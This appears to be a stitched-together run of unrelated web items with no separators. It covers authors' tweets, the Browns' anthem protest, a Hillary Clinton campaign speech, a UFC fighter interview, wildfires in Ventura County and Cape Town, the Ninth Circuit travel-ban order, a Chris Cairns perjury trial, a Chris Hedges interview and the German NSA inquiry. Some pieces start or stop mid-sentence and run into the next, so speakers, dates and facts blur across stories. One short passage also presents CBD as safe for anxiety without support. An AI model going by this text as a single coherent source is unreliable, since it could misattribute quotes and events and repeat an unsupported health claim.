that change the map?" — colson whitehead (@colsonwhitehead) November 7, 2012 As #AWP13 starts today, it's a fine time for @VQR to post my massive treatise on the biz of lit http://t.co/CpDNN96iOp Thx 2 @JaneFriedman — Richard Nash (@R_Nash) March 7, 2013 Ironic that I am a judge for the Truman Capote award when Capote in a druggy interview said he hated me & that I should be executed. LOL. — Joyce Carol Oates (@JoyceCarolOates) October 14, 2013 For those curious about the mystery event that happened in my parlor last night, here's a clue. http://yfrog.com/gy3ugpj — Ayelet Waldman (@ayeletw) January 3, 2011 On a positive note, both can pronounce the word "nuclear". — Dani Shapiro (@danijshapiro) October 23, 2012 Kid at our door in a suit and tie. "What are you?" we asked. Him: "The 1 percent." — Dwight Garner (@DwightGarner) November 1, 2011 Next Schoolhouse Rock song is called "How a Bill Becomes a Law and Then Gets Held Hostage by Sore Losers Willing to Destroy Our Economy." — Ron Charles (@RonCharles) October 1, 2013 Thomas Pynchon's new novel BLEEDING EDGE will be published on September 17, deals with Silicon Alley between dotcom boom collapse and 9/11. — Sarah Weinman (@sarahw) February 25, 2013 Wouldn't it be fun to just totally ignore Ann Coulter? It would drive her crazy. — Susan Orlean (@susanorlean) October 23, 2012 A hard essay for me to write, and to publish. On being heartbroken and putting on a good show, on @the_millions. http://t.co/suPkVkkx65 — Emma Straub (@emmastraub) July 11, 2013 Because I can lie beautiful true things into existence, & let people escape from inside their own heads & see through other eyes. #whyIwrite — Neil Gaiman (@neilhimself) October 20, 2011 Goodbye, my beloved friend. A great voice falls silent. A great heart stops. Christopher Hitchens, April 13, 1949-December 15, 2011. — Salman Rushdie (@SalmanRushdie) December 16, 2011 Sad day, man. I never really understood how sad the book is until now. Why did I make it so sad? Why have so many people read it? — John Green (@realjohngreen) September 25, 2013 Found this genius quote on Reddit today: Getting offended is a great way to avoid answering questions that make you sound dumb. — Doug Coupland (@DougCoupland) September 2, 2012 Affordable Care Act means health care for artists, writers, poets, dancers, filmmakers, and others in the arts without insurance now. — Amy Tan (@AmyTan) October 1, 2013 The gorgeous and talented Charlie Hunnam will be Christian Grey in the film adaptation of Fifty Shades of Grey. — E L James (@E_L_James) September 2, 2013 This Twitter post, from @JohnDonoghue64 last week, still makes me laugh. Sometimes Twitter really does amuse. pic.twitter.com/yQ5yXrtp3W — Erik Larson (@exlarson) January 4, 2014 Whitney Houston: Yes, somewhere tonight Patrick Bateman is weeping, shocked but not surprised, and ordering three hookers instead of two… — Bret Easton Ellis (@BretEastonEllis) February 12, 2012 People who feel safer with a gun than with guaranteed medical insurance don't yet have a fully adult concept of scary. — William Gibson (@GreatDismal) October 2, 2013 Not doing #twittersilence b/c I don't think the response to those who want feminists to shut up and go away is to shut up and go away. — Jennifer Weiner (@jenniferweiner) August 4, 2013 Want to become a better writer? Then read this free essay: 'Developing a Theme' by Chuck Palahniuk – http://bit.ly/aNRUqk — Chuck Palahniuk (@chuckpalahniuk) October 12, 2010 Via @SciencePorn This is what a child's skull looks like before losing baby teeth. pic.twitter.com/pr7nF7w82G: [Happy Holidays, Love, Joe] — Joe Hill (@joe_hill) November 27, 2013 I'm going to wash Joe Biden's car tomorrow. With my tears of gratitude. — Gary Shteyngart (@Shteyngart) October 12, 2012 o no i mistook mascara for concealer again! My eye sockets are black and greasy also idk what's going on in Eritrea. Can a website help plz — Emily Gould (@EmilyGould) August 14, 2013 100 Notable Books of 2011 http://t.co/1UtIx68O — New York Times Books (@nytimesbooks) November 22, 2011 How to write fiction: Andrew Miller on creating characters http://t.co/JpcwgIoO — Guardian Books (@GuardianBooks) October 16, 2011 Sun Ra used to perform for catatonic schizophrenics. One broke a years-long silence to ask, “Do you call that music?” http://t.co/YZuaLW29kZ — NY Review of Books (@nybooks) October 11, 2013 Little, Brown to publish JK Rowling adult novel — Publishers Weekly (@PublishersWkly) February 23, 2012 The New Yorker brings back Haruki Murakami story for Japan issue http://lat.ms/h0rix6 — L.A. Times Books (@latimesbooks) March 21, 2011 Library acquires ENTIRE Twitter archive. ALL tweets. More info here http://go.usa.gov/ik4 — Library of Congress (@librarycongress) April 14, 2010 Print free 'Go Away, I'm Reading!' book covers for Harry Potter, Twilight, Hunger Games & more: http://t.co/dQjrR0Iz — GalleyCat (@GalleyCat) March 17, 2012 SO FUN: A First Read of @bjnovak's new story collection w/readings by Novak, Emma Thompson, and Mindy Kaling! http://t.co/cP0ggj9mFp — NPR Books (@nprbooks) January 21, 2014 “Reading is everything. Reading makes me feel like I’ve accomplished something, learned something, become a better person."-Nora Ephron #RIP — The Paris Review (@parisreview) June 27, 2012 An unpublished shorty story by David Foster Wallace has been posted on tumblr: http://bit.ly/aa7B38 — The Rumpus (@The_Rumpus) October 29, 2010 (•_•) <) )╯I've actually / \ \(•_•) ( (> Read / \ (•_•) <) )> Infinite Jest / \ — The Millions (@The_Millions) January 9, 2014 This picture is so important. pic.twitter.com/aQmlq9XE — Nick Moran (@nemoran3) October 17, 2012Ron Schwane/Associated Press A number of Cleveland Browns turned heads before their Monday night preseason game against the New York Giants at FirstEnergy Stadium. As Jordan Zirm of Bleacher Report and Complex captured, a large portion of the team knelt during the national anthem. Many had their backs to the field: According to Mary Kay Cabot of Cleveland.com, Jamie Collins, Duke Johnson, Seth DeValve, Kenny Britt and Ricardo Louis were among the players kneeling before the game. DeValve is the first white player to kneel during the anthem, per For The Win's Andrew Joseph. Cabot also pointed out rookie quarterback DeShone Kizer placed his hand on the shoulder of one of the kneeling players, although he didn't kneel himself. The Browns released a statement regarding the anthem protest, via Nate Ulrich of the Akron Beacon Journal: "As an organization, we have a profound respect for our country's National Anthem, flag and the servicemen and service women in the United States and abroad. We feel it's important for our team to join in this great tradition and special moment of recognition, at the same time we also respect the great liberties afforded by our country including the freedom of personal expression." Browns head coach Hue Jackson talked about the protest after the game, via Zac Jackson of The Athletic: "We respect our players, we respect the flag. Those guys talked to me about it before they did it." This comes after Jackson made controversial comments regarding the possibility of players on his team protesting during the national anthem. Dan Labbe of Cleveland.com noted Jackson's comments followed Oakland Raiders running back Marshawn Lynch and Seattle Seahawks defensive lineman Michael Bennett sitting during the anthem before their respective preseason games. "I think everybody has a right to do, and I get it, but the national anthem means a lot to myself personally, the organization and our football team," Jackson said, per Labbe. "I hope—again I can't speak, I haven't really talked to our team about it—I would hope that we don't have those issues." Jackson issued a prepared statement two days after his initial comments in an effort to clarify what he said, which Andrew Gribble of the team's official website passed along in full. "I respect and support their right for peaceful protest," Jackson said. "... The intent of my comments was not to discourage individual expression from our players in light of a cause that moves them to personal expression. I'm disheartened that I gave anyone that impression because I did not speak with enough clarity." While the Browns and a number of other NFL players have made headlines for protesting during the anthem in the preseason, then-San Francisco 49ers quarterback Colin Kaepernick found himself in the center of many news cycles last year for kneeling during the song to protest police brutality and racial and social inequality in the United States. Kaepernick is still not signed to a team with the 2017 season approaching.Story highlights Former secretary of state campaigns for Democratic candidate Setting in Virginia seems to suit Hillary Clinton's style Appearance mostly upbeat, with a few shots at the GOP For the first time since the 2008 presidential race, Hillary Clinton made a foray back into the thorny world of campaign politics on Saturday, appearing at a rally for Terry McAuliffe, the longtime Clinton confidante now running for governor of Virginia. About 500 people showed up to the historic State Theatre in Falls Church, a suburb of Washington, D.C. to witness Clinton's smiling re-emergence on the political scene, showering her with applause when she made even the slightest allusion to running for office again. What did we learn about her future plans as she considers a repeat bid for the White House in 2016? Not much at all, actually. But here are three important takeaways from Clinton's first big political speech since leaving the State Department earlier this year: She was relaxed JUST WATCHED Hillary Clinton gets political Replay More Videos... MUST WATCH Hillary Clinton gets political 05:03 Never a dynamic speaker on the stump in 2008, Clinton was instead relaxed, confident and authoritative on Saturday. It's not hard to see why. This was a supremely low-risk event for Clinton -- as perfect a re-entry into national politics as she could have asked for. Barring some kind of wacky collapse in the final three weeks of the race, McAuliffe is generally expected to defeat his Republican opponent Ken Cuccinelli, though some Democrats here expect the winning margin to be a few points smaller than the eight-point lead he holds in the polls, given the usual GOP turnout edge in an off-year. The former secretary of state has a close personal friendship with McAuliffe, a longtime fundraiser, poker buddy, cheerleader, political fixer and all-purpose confidant for the Clintons. The event's frame -- it was billed as a "Women For Terry" rally -- was right in Clinton's strike zone, giving her a chance to talk about politics in terms she feels most comfortable. "The whole country is watching to see if the rights of women and girls will be respected, especially over our own bodies and our health care," she said of the Virginia race, alluding to Cuccinelli's efforts as a state legislator and attorney general to curb access to abortion. Add it all up, and Clinton was completely at ease on Saturday, campaigning in front a fawning audience in the Washington suburbs, talking about women's issues and propping up one of her longtime pals. "I thought hard about what I wanted to say to Virginians today," she said. "I've been out of politics for a few years now. And I've had a chance to think a lot about what makes our country so great. What kind of leadership is required to keep it great." She wasn't afraid to jab Republicans, however gently Clinton stayed mostly positive, but she didn't shy away from taking a few shots at Republicans, albeit not by name. Talking about the political gridlock on Capitol Hill that led to a 16-day government shutdown this month, she said that "we have seen examples of the wrong kind of leadership" in recent days, an unmistakable poke at House Republicans. "Politicians choose scorched-earth over common ground," she continued. "They operate in what I called the evidence-free-zone, with ideology trumping everything else," she said, before listing the consequences of the shutdown, such as furloughed workers and "children thrown out of Head Start." Clinton also made sure to highlight Republican efforts to enforce stricter abortion regulations in Virginia. McAuliffe, she said, would "stand up against attempts to restrict women's health choices." Rounding out her speech, Clinton alluded to Alexis de Tocqueville, the French writer who described Americans as having "habits of the heart" when he traveled to the U.S. nearly 200 years ago. But Clinton warned that such a spirit is under threat. "We cannot let those who do not believe in America's progress hijack this great experiment, and substitute for the habits of the heart suspicion, hatred, anger, anxiety. That's not as a people who we are." She executed the McAuliffe game plan As much as Clinton was the story here, time and again she served as a character witness for McAuliffe, whom Republicans have relentlessly attacked as a carnival barker and Washington insider. "I've seen the values that he was raised with," Clinton said of McAuliffe, standing next to her on stage at the State Theatre, along with his wife Dorothy. "He grew up in a middle class family. He
training, and more training. Now I’ve got this fight coming up with Jorge Masvidal on November 4 and I’m just itching to get back in that Octagon.” Masvidal laid down the challenge We live in an age where social media is becoming more powerful everyday and Thompson explained it was an exchange on Twitter that was the catalyst for him getting the fight with Masvidal. “To be honest, I think that what happened on social media is a big reason why we got this fight,” Thompson said. “Masvidal wanted a fight right after he lost to Maia and to be honest, I thought he won it. He was looking for a fight and one day he tweeted me saying ‘Wonderboy when are we going to do this thing?’ I was like ‘Hey, I’d love to fight you after I’m healed up from this knee injury.’ and he was like ‘Cool’. That kinda sparked it off and from there we kinda just went back and forth for a little bit trying to get this thing worked out. “The UFC at the time wasn’t involved in it all, but finally once I got that release, they rang me up and asked if I wanted the fight with Jorge. They loved it and thought it would a great fight for MSG, so here we are.” Gambred is always game Thompson knows that Masvidal isn’t a man to be taken lightly. “Gamebred” had been on a three-fight win streak prior to his loss to Demian Maia and was arguably just one win away from a title shot. Suffice to say, Thompson won’t be underestimating when they step in the Octagon on November 4. “Jorge is a tough guy man, and everyone knows that,” Thompson said. “He’s a very well-rounded fighter and I don’t think he gets enough credit for his wrestling or his defensive jiu-jitsu which we saw against Demian Maia. I think it’s going to be an exciting fight and I think the fans are pumped for it. I’ve seen more fans talking about our fight than I have done the other fights on the main card so I’m happy people are looking forward to it as much as I am. “It’s put a smile on my face, but at the same time I realize now it’s all about going out there and putting on a show.” “Jorge is a very good striker and he likes to come forward. He’s not afraid to go in there and duke it out and his clinch work is some of the best in the welterweight division. It’s got fireworks written all over it—I need to come forward firing and that’s just his natural game.” Promising fireworks at UFC 217 Wonderboy was widely criticized for the tactics he used against Woodley in their second fight at UFC 209. Woodley spent the entire fight looking to counter and with Thompson hesitant to made the first move it made for a fight that the majority of the MMA community didn’t particularly enjoy. Some fighters cut themselves off from social media after a fight, but Thompson admitted he faced the music and was upset by the reaction the fight got. “Seeing all the criticism and reading it all on social media hurt,” Thompson said. “It’s fired me up to come out and let it all fly. Tyron was just such a tricky guy because I didn’t want to wrestle with him and that was where he wanted to take me. He was just backing up and waiting for me to close the distance so he could either land his right hand or put me in a wrestling situation. “I was waiting for him to come and strike with me in both fights and he just didn’t do it. He backed up the whole time and was waiting on me. I worked on closing that gap and just learning to let my hands go. I know I’ve got combinations that I can throw out there and that’s what I took from those fights. I just didn’t do enough in those two fights and at the time I thought I had it. I realized though that when you fight the champ you have to be the one taking the fight to them.” “I’m going out there to bang against Jorge. I saw what people said on social media after my last fight, so I want to go out there and put on a show for the fans.” Still in the mix at 170-pounds Despite failing to win the title in back-to-back fights to Woodley, Thompson still finds himself in a position where he could easily be right back in the title mix with a great performance against Masvidal. The 170-pounds division has no shortage of guys who can make a run, but Thompson knows he’s still in around the title talk. “The welterweight division is the one to watch right now because we don’t know who the number one contender is,” Thompson said. “It’s all up in the air and that’s what makes it all super exciting. We got so many guys in the mix right now. There are so many guys right now in the top ten—Robbie Lawler, Carlos Condit is back, Donald Cerrone, Colby Covington, Neil Magny. All of these guys are in the mix and I’m in there to. “The thing is that I know if I go out there and put on a show, I’m right back in the mix. I just need to go out there and do what I know I can do. It’s all down to me now and I feel confident in myself to do it.” “Trust me, I’m not giving up on that title. I’m nowhere near finished.” Focused on putting on a show With UFC 217 now less than four weeks away, Thompson has his head down is focusing on being in peak condition for November 4. Getting the win is first and foremost in Thompson’s mind, but putting on a memorable performance is also very important to him. “What I picture and what I visualize is just me going out there and getting my hand raised,” Thompson said. “I want to go out there, put on a show, let my hands go. Jorge is clever and he’s got great fight IQ. This is going to be a hard fight and it’s going to be crazy man. It’s going to fun and the difference is this time there’s no pressure on me. Last time I was fighting for a title, but this time we’re just the first title on the main card. “Not all the attention is going to be on me this time. I won’t have as many media commitments this time and I can just have focus on the fight. That’s a big relief and I’m going to take advantage of that.Firefighters on the ground and in the air were battling a blaze Friday afternoon in the Conejo Grade off the 101 Freeway in Ventura County, officials said. On the third day of a heat wave, officials said the fire was moving uphill and had burned at least five acres. According to the Ventura County Fire Department's Facebook page, 75 firefighters were on scene and two air tankers had been requested. Photos from drivers on the 101 show smoke and flames just off the freeway near Wendy Drive. [View the story "Brush fire burning off 101 Freeway in Ventura County" on Storify] Brush fire burning off 101 Freeway in Ventura County Firefighters on the ground and in the air were battling a blaze Friday afternoon in the Conejo Grade off the 101 Freeway in Ventura County, officials said. Storified by LA Times - LA NOW · Fri, Aug 10 2012 13:05:45 @LANow brushfire! http://pic.twitter.com/pHJK8mtSIzzy Brown See Ventura County Fire working the fire in Camarillo on the Conejo Grade @ Ventura 101 Freeway South. http://pic.twitter.com/V7nHswhJRoz Romero Fire across the freeway from my office!!! Careful driving, the 101 South is stopped between Camarillo and Ne http://instagr.am/p/OKL8YsJa2P/Jessica Thompson Fire on the 101 heading north to Ventura. http://pic.twitter.com/RLojGdpMErin @DavidBegnaud breaking news: brush fire southbound 101 on the conjeo grade in Thousand Oaks. http://pic.twitter.com/wgavvzGvMichael Thombs ALSO: Falling in Reverse lead singer arrested in assault on girlfriend Assailant pushes Newport Beach man from wheelchair, injures him Triple-digit heat may have led to woman’s death in San Bernardino -- Shelby GradThe federal Ninth Circuit Court of Appeals has let a temporary ban on President Trump’s immigration executive order stay in place until it can consider detailed arguments from the administration, Washington state and Minnesota early next week. In a brief order issued early on Sunday, two federal appeals judges asked for more details from the attorneys for Washington state and Minnesota by 11:59 p.m. on Sunday, while paperwork from the Trump administration by 3:00 p.m. PST on Monday. Link: Read The Order Once the arguments are received, a three-judge appeals panel will likely move quickly to consider extending the temporary ban, or taking another action. Ultimately, legal experts expect that the case could wind up at the Supreme Court in relatively short order. On Saturday night, the Trump administration appealed to the Ninth Circuit Court of Appeals after a federal judge in Washington state put the temporary restraining order in place on the implementation of President Trump’s executive order. For now, the injunction lets refugees, valid visa holders and green-card holders from seven predominantly Muslim Middle East countries resume travel to the United States under conditions regulated by the federal government. Related Story: Lyle Denniston explains the legal arguments The appeal from Acting Solicitor General Noel Francisco argues that District Court Judge James Robart’s order on Friday conflicted with basic constitutional ideals. “The injunction contravenes the constitutional separation of powers; harms the public by thwarting enforcement of an Executive Order issued by the nation’s elected representative responsible for immigration matters and foreign affairs; and second-guesses the President’s national security judgment about the quantum of risk posed by the admission of certain classes of aliens and the best means of minimizing that risk,” Francisco argues. In his ruling, Robart said Washington state and Minnesota had met their burdens of the likelihood of success on the merits of their claims and other factors, and that a temporary restraining order was justified. Robart cited the narrowness of the questions before him and that his court “must intervene to fulfill its constitutional role in our tripart government.” Scott Bomboy is the editor in chief of the National Constitution Center. Recent Stories on Constitution Daily Supreme Court schedules three significant cases for March Podcast: President Trump’s immigration order: Is it legal? The Constitution and the cabinet nomination processThe Saints have kept quiet on the status of Drew Brees, but the team's star quarterback isn't ruling himself out for Sunday's NFC South showdown with the Carolina Panthers. "I have every intention of playing, but I do have to take it day to day. I have to be smart with this, so that's what I'm doing," Brees told reporters on Wednesday, before later saying that he was "pretty confident" he'd suit up for Week 3. Brees was limited during Wednesday's practice and confirmed that he "didn't throw" in the session, calling the rotator cuff he bruised last Sunday against the Buccaneers "one of those injuries... you've got to be smart" in treating. The veteran passer confirmed that he will make the call himself about whether or not he'll take the field against Carolina. That could come as late as Sunday morning. If Brees can't go, backup Luke McCown will take the field for his first start in two seasons. Coach Sean Payton refused to share how reps would break down at practice this week between his two quarterbacks. Asked by a scribe what the team would do "if you have to go with McCown," Payton interrupted the question to say: "We're not going to discuss hypotheticals on a Wednesday." Payton did reveal that the game plan would stay the same no matter who starts, per NFL Media's Omar Ruiz, saying: "It's not like we have a read-option package for one and a dropback package for the other." If Brees sits, the Saints will start 0-3 unless McCown can ignite the club's sluggish offense against the Panthers. All in all, a nightmarish start for a New Orleans club that expected to rebound in the NFC South.Anxiety is a common human emotion that manifests as unease, worry and nervous anticipation triggered by an imminent event or uncertain outcome. While anxiety is a normal emotional expression, neurobiological abnormalities can produce anxiety disorders that manifest as panic attacks, debilitating fear, traumatic flashbacks, insomnia, heart palpitations and muscle tension. Generalized anxiety disorders involve unrealistic and unwarranted worry, but variations of the disorder include social phobia, agoraphobia and post-traumatic stress syndrome (PTSD), among others. An anxiety disorder is, unequivocally, not the result of personal weakness or character deficiencies. Though the exact causes are unknown, clinical studies suggest that severe anxiety can stem from abnormal neurotransmissions, brain circuitry and similar biochemical issues. Environmental factors like trauma and sustained stress often play a role as do hereditary predispositions passed down genetically. Medical professionals often treat anxiety with benzodiazepine-class sedatives (e.g., Xanax, Klonopin, Valium) that involve substantial levels of risk, but clinical studies suggest that cannabis-based cannabidiol (CBD) is a natural anxiolytic that can be safely administered for extended durations. Furthermore, CBD can reduce any anxiety or paranoia potentially triggered by high levels of tetrahydrocannabinol (THC).Watch this incredible time lapse footage of the Cape Town southern peninsula fire as it spread over a portion of the mountain on Sunday night. WATCH Cape Town - The blaze spreading around Cape Town’s south peninsula is likely to continue for much of the week, depending on the weather conditions, Table Mountain National Park Integrated Fire Manager Phillip Prins said on Monday. - Are you there? Send us your eyewitness accounts and photos. “It’s a big fire. It’s been aided by 70-80km/h winds. In some places it was 100km/h,” Prins said at a media conference in Newlands, Cape Town. “This fire is likely to keep us busy for the rest of the week, depending on the weather conditions. It’s burning very old vegetation over such a big area.” Spread According to Prins, the fire started early on Sunday morning in the mountains above Muizenberg, before spreading aggressively to the surrounding areas in one of the worst fires of recent years in the Cape Peninsula. The SANParks representative praised residents of Cape Town, hailing the efforts of ordinary citizens who have aided firefighters by providing them with food and water. "The people of Cape Town have really rallied around the problem, and we are very grateful for that,” he added. The latest report is that Hout Bay residents are being prepared for evacuation measures, as the fire spreads westwards in pockets across the Cape Peninsula. Containment a challenge "The area under threat stretches from Hout Bay to Muizenberg and at least 3 000 hectares’ of vegetation are at risk of being completely destroyed but actual damage and the cost of the fire will only be known once the fire is extinguished," SANParks said in a statement. "Multiple teams from Table Mountain National Park (TMNP), Working on Fire (WoF) and the Volunteer Wildfire Services (VWS) have dispatched more than 400 firefighters over the course of two days. In addition, five helicopters, including two water bombers, one spotter and a helicopter from the Department of Defence, have been up in the air since yesterday trying to contain the fire. "Containment is proving to be a challenge right now as the fire is raging over a large area of TMNP, and the areas are at a high terrain making it difficult to access and simultaneously making fire-fighting on the ground more of a challenge," SANParks said. - To read live updates on the Cape Town blaze, click here.University of Denver campus safety officers and Denver police are investigating after swastikas and “KKK” were etched into at least two vehicles sometime Tuesday. The university says the incidents happened off campus, but did not elaborate on their connection to DU. Denver police spokeswoman Christine Downs said there were seven total reports of vandalism linked to the case. “At this time we don’t think there is a (targeting) to any specific group, race or ethnicity,” she said. Downs said the vandalism was centered around the 2300 block of South Race Street. https://twitter.com/DUCampusSafety/status/859811285059457024 “The safety of our students and community is paramount,” campus safety said in a bulletin. “Campus safety is aiding (the) Denver Police Department with an investigation into this incident.” Anyone with information on the vandalism — which is being considered “bias-motivated” — is asked to call Denver police or Metro Denver Crime Stoppers 720-913-7867.Former Australian captain Ricky Ponting took the stand on Tuesday via video link. Ricky Ponting was with Brendon McCullum in a Kolkata hotel in 2008 when the Kiwi got a phone call from "Cairnsy", the former Australian cricket captain has told London's Chris Cairns perjury trial. McCullum told him the short call related to "business", so he asked no questions about it, Ponting said. "He put the phone down, hung up and said 'that was Cairnsy, he just made me a business proposition'," Ponting told Southwark Crown Court by video link. They did not discuss the details. "As soon as I heard it was about business, I wasn't interested any more." The pair parted and went to their rooms soon after. Ponting recalled the call coming during daylight hours. At the time, McCullum was his Kolkata Knight Riders team-mate in the Indian Premier League (IPL), while former outstanding all-rounder Cairns was captain of the Chandigarh Lions in the unsanctioned Indian Cricket League (ICL). READ MORE: Vincent told to give player up, ex-wife says In evidence last week, McCullum said Cairns sent him a car which took him to his hotel, where he alleged spot fixing was discussed. McCullum and Cairns they shared a bottle of red wine, then ordered a curry, after which Cairns asked him whether he knew how to spot fix a game. When McCullum said no, Cairns produced a pen and paper and explained the principles. To the jury, McCullum summed fixing up as to "under-perform" in brackets of overs, by batting poorly. McCullum was a wicketkeeper and opening bat with the Knight Riders. Cairns offered him up to US$180,000 to participate in spotfixing, the jury was told. McCullum said he declined the offer soon after and also rebuffed a second approach, in England. He did not tell Ponting what he said happened at the meeting in Kolkata. Cairns, 45, is charged with perjury for allegedly lying under oath in a libel trial, saying he'd "never" cheated at cricket. A former Wisden Player of the Year, he has denied the charges. The maximum sentence for perjury is seven years' jail. Black Caps Shane Bond, Andre Adams and Kyle Mills also appeared by video link last week; Bond from the US, Adams and Mills from New Zealand. Ponting, whose nickname is Punter, was asked by defence lawyer Orlando Pownall, QC, whether he considered McCullum knew about match fixing, and would have needed it explained to him. "Right now, I would. In 2008, not so much." A call about a business proposition "was wholly unremarkable, was it not?" Pownall said. Ponting agreed. Nor had he discussed the call with McCullum during the IPL, even though they spent time together, or since. "For a start, I wasn't aware Brendon had gone and spoken to Chris Cairns," he told the court. Pownall asked if that was unusual. "It was none of my business. Brendon's private life and business life was none of my business, I wasn't going to ask him." Ponting said match fixing was talked about by players in general terms, rather than specifics. He had not paid much attention as he wasn't interested. He did not know McCullum well enough to say what his relationship with Cairns was in 2008. Leanne McGoldrick, agent for several Kiwi players in the ICL and McCullum, took the witness box after Ponting's face disappeared from the court room television. She outlined an evening when her then-client McCullum asked her whether she thought Cairns was involved in match fixing. It was at a dinner in her Christchurch home, after the 2008 New Zealand cricket tour of England. In was on that tour, Cairns and McCullum met in a Worcester cafe for breakfast. McCullum alleged it was there Cairns made a second approach to him to spot fix, he told the court last week. McGoldrick said McCullum had first asked if she thought any New Zealand players were match fixing. When she said she didn't think so, he asked about Cairns. "I said I didn't think he was," McGoldrick told the court. "He said he'd had an occasion in England - in a bar or cafe, I can't remember which - with Chris, and Chris had asked him whether he knew how to spot fix." Cairns had allegedly told McCullum "it was very easy to manipulate, and it was easy to do", she said. "I was completely shocked... I couldn't believe what he was saying." When she asked McCullum if he could have been mistaken, he told her "no, he hadn't". She told him to report the approach to authorities. He said he would, but their business relationship ended soon after and she did not check if he had. As well as Ponting and McGoldrick, the court heard from New Zealand Cricket (NZC) chief executive David White, International Cricket Council (ICC) anti-corruption investigator John Rhodes, and English club cricketer Phill Hayes. Hayes befriended now-banned Kiwi cricketer Lou Vincent when he played for the Ramsbottom club, between two 2008 stints with the Chandigarh Lions. Vincent gave him tickets to go to cricket matches, he worked around the cricketer's house and at times baby sat for him and his ex-wife, Elly Riley. Once, he went on a run to Birmingham to pick up cash Vincent was being paid for match fixing, although he didn't know that at the time. He wound sitting in an Indian restaurant in a poorer part of town, while Vincent was out the back. At his engagement party on October 10, 2009 Vincent turned up on his own and agitated. "His mood concerned me enough to leave the party," Hayes said Vincent told him his marriage was in trouble. Months later, after Vincent had been kicked out of home, they went drinking together, with Vincent telling a stunned Hayes he had been involved in match fixing at the ICL. "He said everyone in the ICL was involved in match fixing - he said Chris Cairns was the ring leader. Daryl Tuffey is another name he mentioned," Hayes told the jury. Of the three Kiwis, Cairns was Chandigarh captain, Vincent opening bat, and Tuffey a fast bowler. Vincent talked of the time when he had "messed up" a fix by hitting boundaries, when he was meant to get out, and Cairns threatened him with a bat, Hayes told the court. "The mood of the evening was him telling me everything that had gone wrong in his life." At the time Vincent - who claimed Cairns introduced him to match fixing in India - was working as a tiler without any prospect of making money from cricket. Hayes said it was a big surprise to later learn that Vincent had fixed English county matches. "I'd invested so much emotional energy in wanting him to do well."The United States is primed for a rebellion. So argues Chris Hedges in his new book, Wages of Rebellion, in which the Pulitzer Prize-winning journalist and polemicist examines revolts from 1700s to the ending of apartheid in South Africa, as well as the “sublime madness” that drives the people at the centre of such rebellions. Why is America next? He recently spoke with the National Post’s Ishmael Daro about what he sees as a pot about to boil over. Q Is this book a warning or a prediction? A I didn’t write it as a warning or a prediction. I wrote it more as an assessment. I covered disintegrating societies like Yugoslavia. I know how they break down; I know what the warning signs are, so it’s familiar. I don’t think at this point there’s much dispute. Even just the financial indicators in terms of wealth disparity and chronic unemployment. The fact that Congress has a nine-per-cent approval rating. Where I’m coming from, the book is an attempt to explain where we are in this particular historical period. QInequality and injustice is part of human existence — I mean, the U.S. Constitution included slavery, for example. A Well you have to be careful. That’s not necessarily true. In indigenous societies, everyone is hungry together and they eat together. If you look at Scandinavian societies, they virtually eliminated poverty in the 1980s. The idea that disparity is an inevitable fact of organization of a society is not correct. And societies can sustain a certain level of disparity without question, and that has been true for a long time in the United States. But massive disparity where you create an oligarchical elite that dominates most of the wealth, then you distort your entire system. That goes back to Aristotle: He said that in that situation, your two options become tyranny or revolution. Q You have some praise for the Occupy movement and other communitarian efforts to ameliorate the harshest income disparities. So if a rebellion does come and the system does crumble, is that what you see as an alternative? A Something’s coming, with the twin effects of climate change and the precarious nature of global speculation, and if we go down, we’re going to need each other. We are going to have to create a communitarian network, and that goes down to things like local food, farmers’ markets, something as simple as that. The wealthy are not going to take care of us. They will retreat into their gated compounds where they will have access to food and water and all sorts of things we won’t. QIn your book you don’t just provide an assessment but you also look at individual actors. What appeals to you about rebellious figures like Nelson Mandela, Thomas Paine, Mumia Abu-Jamal, Julian Assange? A In a dysfunctional system that’s essentially calcified and can no longer respond to the basic concerns of the citizenry, it’s the rebel who will make a difference. I use the term coined by the theologian Reinhold Niebuhr, “sublime madness.” Niebuhr writes that in moments of extremity, liberalism is an ineffectual force, and Niebuhr is right. If you have a system of apartheid, you need a Nelson Mandela. If you have tyranny by the British crown, you need a Thomas Paine. Rebels bear a lot in common with religious mystics. People like Julian Assange are ornery and peculiar, but that’s who we need. We need those figures. If you have a system of apartheid, you need a Nelson Mandela. If you have tyranny by the British crown, you need a Thomas Paine QOne positive sign of the past 15 to 20 years has been the spread of gay rights, and with recent changes in Colorado, Washington and elsewhere, there are some movements toward curbing the war on drugs. I wonder what you make of that within the context of the economic and political injustice you write about. A Well, within the American political system you battle over what Freud called the narcissism of minor difference. In terms of war, Wall Street, civil liberties, the refusal of the state to deal with poverty and issues like Ferguson and Baltimore, the deterioration of the public education system, on and on and on — you have these debates, and it’s not tangential if you’re gay, but you reduce it to these social issues about homosexuality, about creationism, whatever it is. They’re fear-based. We don’t fight about anything that’s actually political. That’s why these issues often dominate the electoral cycle, because on the substantial issues like the economy and corporate power and representative democracy there is no real difference between the Republicans and the Democrats. QIs reform still possible then? A If we don’t reform America, return this country to a level of sanity, it’s going to have a tremendously negative impact on the rest of the world, including Canada. – – This interview has been edited and condensed.More than three years of work went into the report presented by investigative committee chairman Patrick Sensburg to the Bundestag on Wednesday, but in the end, no one was happy with it. The multi-party parliamentary investigation was sparked by the 2013 revelation by former National Security Agency contractor Edward Snowden that US intelligence services had kept allies under surveillance, even going so far as to eavesdrop on Chancellor Angela Merkel's mobile phone. "It's not okay for friends to spy on one another," Merkel said in her most famous statement when the affair broke. But investigators soon found out that Germany's foreign intelligence service, the BND, had cooperated with the NSA and also kept tabs on its allies, for instance, by using so-called selectors - search terms for dragnet surveillance. The investigation was soon expanded to include the question of whether the US had piloted drones used in combat from its bases in Germany - an accusation that was never proven, although the report found that the German government often "looked the other way." Watch video 03:40 Share NSA inquiry committee a 'big success' Send Facebook google+ Whatsapp Tumblr linkedin stumble Digg reddit Newsvine Permalink https://p.dw.com/p/2fajd NSA inquiry committee a 'big success' The committee's report contains a head-spinning plethora of minutiae about everything from the technical specifications or capabilities of drones to various national and international intelligence operations. But it rarely reaches clear conclusions about what, if anything, was done wrong by whom. That was - as the report admits - down to fighting between political parties. "Unfortunately, despite the common conviction of all parliamentary groups about the necessity of the investigation when it began, there were substantial disagreements between the governing and opposition groups about the methodology and goals of the committee's work," the report read. The report was published by the governing coalition of the conservative CDU-CSU and Social Democrats alone, after a row last week about a 450-page dissent written by the opposition Left Party and the Greens. The chairman of the committee refused to publish that document, claiming it revealed classified information, whereupon the Left and Greens refused to sign off on the final version of the report as a whole and were removed from the committee. Read: German opposition criticizes BND's illegal espionage A massive document of dissent Although the report is critical of both the US and German governments on a number of topics, on the underlying question of whether the US essentially betrayed Germany's trust, it reaches many "surprisingly positive" 